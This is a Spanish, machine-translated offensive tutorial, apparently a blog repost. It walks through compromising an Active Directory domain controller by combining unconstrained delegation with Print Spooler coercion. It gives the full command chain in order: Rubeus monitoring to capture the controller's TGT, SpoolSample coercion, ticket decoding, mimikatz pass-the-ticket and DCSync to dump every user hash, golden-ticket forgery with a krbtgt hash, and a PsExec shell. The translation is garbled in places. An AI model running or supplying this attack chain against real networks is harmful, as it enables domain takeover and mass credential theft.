Uso de delegación no vinculante + servicio de impresión Spooler para crear tickets dorados para atacar controladores de dominio

 prefacio

Siguiendo el artículo anterior ->  Penetración de dominio: el principio y la utilización del ataque de delegación no restringido del ataque de delegación . En el combate real, es bastante insípido que el administrador se conecte activamente a la simple delegación no restringida. Por lo tanto , la delegación sin restricciones + el servicio de impresión Spooler se puede utilizar para forzar la conexión del host especificado.

Principio de explotación: Windows打印系统远程协议 (MS-RPRN)un método antiguo pero habilitado de forma predeterminada en Exploitation, en el que un usuario de dominio puede usar un MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)método para obligar a cualquier computadora que ejecute el servicio Spooler a autenticar el objetivo elegido por un atacante a través de Kerberos o NTLM .

Nota: El servicio splooer se ejecuta de forma predeterminada

proceso de ataque

  • Dominio: test.lab
  • Controlador de dominio: 192.168.10.2 win2012, administrador de cuenta, nombre de host DC
  • Host de dominio: 192.168.10.5 win7, cuenta yuwin7, nombre de host admin-PC

El atacante controla una cuenta de host con la delegación sin restricciones habilitada. Cuando el controlador de dominio abre el servicio Print Spooler, el atacante puede solicitar activamente al controlador de dominio que acceda al servidor host y luego obtener el TGT del DC.

  • Eliminar un host (cuenta de host) con delegación sin restricciones de Kerberos
  • Encuentre un DC que ejecute el servicio Print Spooler (inicio automático y privilegio del sistema de forma predeterminada)
  • Usar el modo de monitor de Rubeus como administrador

rubeus escuchando

Ejecute Rubeus como administrador local en win7

Rubeus.exe monitor /interval:1 /filteruser:DC$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
复制代码

Use el servicio de impresión para obligar al controlador de dominio a autenticarse en la máquina local

Ejecutar de la siguiente manera

spoolsample.exe DC admin-PC
# 表示利用打印服务强制让域控机向admin-PC主机验证身份,这样我们的Rubeus就可以监听到TGS了
复制代码

En este punto Rubeus ha recibido el TGT

Extraer TGT

Primero copiemos la base64 del TGT monitoreado por Rubeus, donde se agrega una nueva línea a cada línea, usamos este script de python para eliminar el carácter de nueva línea de cada línea

data=""
for line in open('1.txt','r'):
    data += line.strip('\n')
print(data)
with open("2.txt",'a') as f:
    f.write(data)
print('保存完毕')
复制代码

Luego úsalo directamente para ir a powershellla normalidad .TGT

[IO.File]::WriteAllBytes("绝对路径\ticket.kirbi", [Convert]::FromBase64String("TGT"))
复制代码

Inyecte el ticket TGT en la sesión actual y exporte el hash de todos los usuarios en el controlador de dominio

ejecutar mimikatz como usuario de dominio

kerberos::ptt ticket.kirbi
lsadump::dcsync /domain:test.lab /all /csv
复制代码

Tenga en cuenta aquí que el ticket TGT que obtuvimos aquí no puede considerarse un ticket dorado, porque la autoridad que obtuvimos es solo la autoridad de administración local del controlador de dominio, por lo que no podemos conectarnos al controlador de dominio, pero sí podemos obtener el hash de todos los usuarios, para que podamos hacer real El boleto dorado ~

hacer notas doradas

Dado que hay un usuario krbtgt y el valor hash o NTML del usuario, puede usarlo para generar un ticket dorado

  1. Obtener el sid de esta cuenta 

Ahora ejecute whoami /user localmente, tenga en cuenta que los dígitos detrás de los permisos de la cuenta no son necesarios

  1. hacer facturas
mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-587556175-550635965-2643831430 /krbtgt:6412c19ffa5a50cd63fe27917ef83f54 /user:administrator /ticket:ntlm.kirbi" "exit"
复制代码

  1. inyectar el billete

mimikatz "kerberos::purge" "kerberos::ptt ntlm.kirbi"

Ahora puede conectarse al controlador de dominio

 También podemos usar psexecbounce directamente shell, porque se inyecta el boleto dorado, por lo que no se requiere nombre de usuario ni contraseña.

PsExec64.exe \dc cmd -accepteula
复制代码

Supongo que te gusta

Origin juejin.im/post/7085286428300541983
Recomendado
Clasificación